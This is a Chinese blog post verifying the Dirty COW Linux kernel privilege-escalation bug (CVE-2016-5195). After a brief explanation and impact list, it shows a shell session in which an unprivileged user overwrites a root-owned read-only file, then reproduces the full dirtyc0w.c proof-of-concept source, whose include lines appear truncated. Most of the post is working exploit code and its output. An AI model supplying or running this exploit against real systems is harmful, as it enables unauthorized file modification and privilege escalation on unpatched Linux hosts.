Linux内核通杀提权漏洞CVE-2016-5195验证-白红宇

Linux内核通杀提权漏洞CVE-2016-5195验证

阅读量：5867 次

发布时间：2019-06-19

本文共 4002 字，大约阅读时间需要 13 分钟。

一、漏洞简介

CVE-2016-5195这个漏洞是linux内核级的本地提权漏洞，原理是linux内核内存子系统在

处理私有只读存储映射的写入时复制机制发现了一个冲突条件。这个漏洞官方给出的影响范围是在

linux内核2.6.22以后的版本都受影响，同时已经在2016年10月18日进行了修复。

二、漏洞影响

1. 没有权限的本地用户可以使用此漏洞获取写访问权限，修改制度内存映射，从而提权。

2. 改漏洞允许攻击者使用本地账户修改磁盘上的二进制文件，绕过标准权限的限制，这些权限机制通常用于防止修改没有适当的权限集。

三、漏洞测试

[root@localhost tmp]# echo test123 > test.txt[root@localhost tmp]# chmod 0404 test.txt [root@localhost tmp]# ls -lash test.txt 4.0K -r-----r--. 1 root root 8 10月 24 16:18 test.txt[root@localhost tmp]# vim dirtyc0w.c[root@localhost tmp]# cat test.txt test123[root@localhost tmp]# gcc -lpthread dirtyc0w.c -o dirtyc0w[root@localhost tmp]# su - pentest上一次登录：一 10月 24 09:02:01 CST 2016:0 上最后一次失败的登录：一 10月 24 13:44:23 CST 2016从 :0:0 上最有一次成功登录后有 2 次失败的登录尝试。[pentest@localhost ~]$ cd /tmp/[pentest@localhost tmp]$ ls -l总用量 24-rwxr-xr-x. 1 root root 13432 10月 24 16:20 dirtyc0w-rw-r--r--. 1 root root  2975 10月 24 16:20 dirtyc0w.c-r-----r--. 1 root root     8 10月 24 16:18 test.txt[pentest@localhost tmp]$ ./dirtyc0w test.txt 123testmmap 7f2075a07000madvise 0procselfmem 700000000[pentest@localhost tmp]$ cat test.txt 123test[pentest@localhost tmp]$

漏洞利用POC: dirtyc0w.c

/*####################### dirtyc0w.c #######################$ sudo -s# echo this is not a test > foo# chmod 0404 foo$ ls -lah foo-r-----r-- 1 root root 19 Oct 20 15:23 foo$ cat foothis is not a test$ gcc -pthread dirtyc0w.c -o dirtyc0w$ ./dirtyc0w foo m00000000000000000mmap 56123000madvise 0procselfmem 1800000000$ cat foom00000000000000000####################### dirtyc0w.c #######################*/#include 
     
      #include 
      
       #include 
       
        #include 
        
         #include 
         
          #include 
          
           #include 
           
            #include 
            
             void *map;int f;struct stat st;char *name; void *madviseThread(void *arg){ char *str; str=(char*)arg; int i,c=0; for(i=0;i<100000000;i++) {/*You have to race madvise(MADV_DONTNEED) :: https://access.redhat.com/security/vulnerabilities/2706661> This is achieved by racing the madvise(MADV_DONTNEED) system call> while having the page of the executable mmapped in memory.*/ c+=madvise(map,100,MADV_DONTNEED); } printf("madvise %d\n\n",c);} void *procselfmemThread(void *arg){ char *str; str=(char*)arg;/*You have to write to /proc/self/mem :: https://bugzilla.redhat.com/show_bug.cgi?id=1384344#c16> The in the wild exploit we are aware of doesn't work on Red Hat> Enterprise Linux 5 and 6 out of the box because on one side of> the race it writes to /proc/self/mem, but /proc/self/mem is not> writable on Red Hat Enterprise Linux 5 and 6.*/ int f=open("/proc/self/mem",O_RDWR); int i,c=0; for(i=0;i<100000000;i++) {/*You have to reset the file pointer to the memory position.*/ lseek(f,(uintptr_t) map,SEEK_SET); c+=write(f,str,strlen(str)); } printf("procselfmem %d\n\n", c);} int main(int argc,char *argv[]){/*You have to pass two arguments. File and Contents.*/ if (argc<3) { (void)fprintf(stderr, "%s\n", "usage: dirtyc0w target_file new_content"); return 1; } pthread_t pth1,pth2;/*You have to open the file in read only mode.*/ f=open(argv[1],O_RDONLY); fstat(f,&st); name=argv[1];/*You have to use MAP_PRIVATE for copy-on-write mapping.> Create a private copy-on-write mapping. Updates to the> mapping are not visible to other processes mapping the same> file, and are not carried through to the underlying file. It> is unspecified whether changes made to the file after the> mmap() call are visible in the mapped region.*//*You have to open with PROT_READ.*/ map=mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0); printf("mmap %zx\n\n",(uintptr_t) map);/*You have to do it on two threads.*/ pthread_create(&pth1,NULL,madviseThread,argv[1]); pthread_create(&pth2,NULL,procselfmemThread,argv[2]);/*You have to wait for the threads to finish.*/ pthread_join(pth1,NULL); pthread_join(pth2,NULL); return 0;}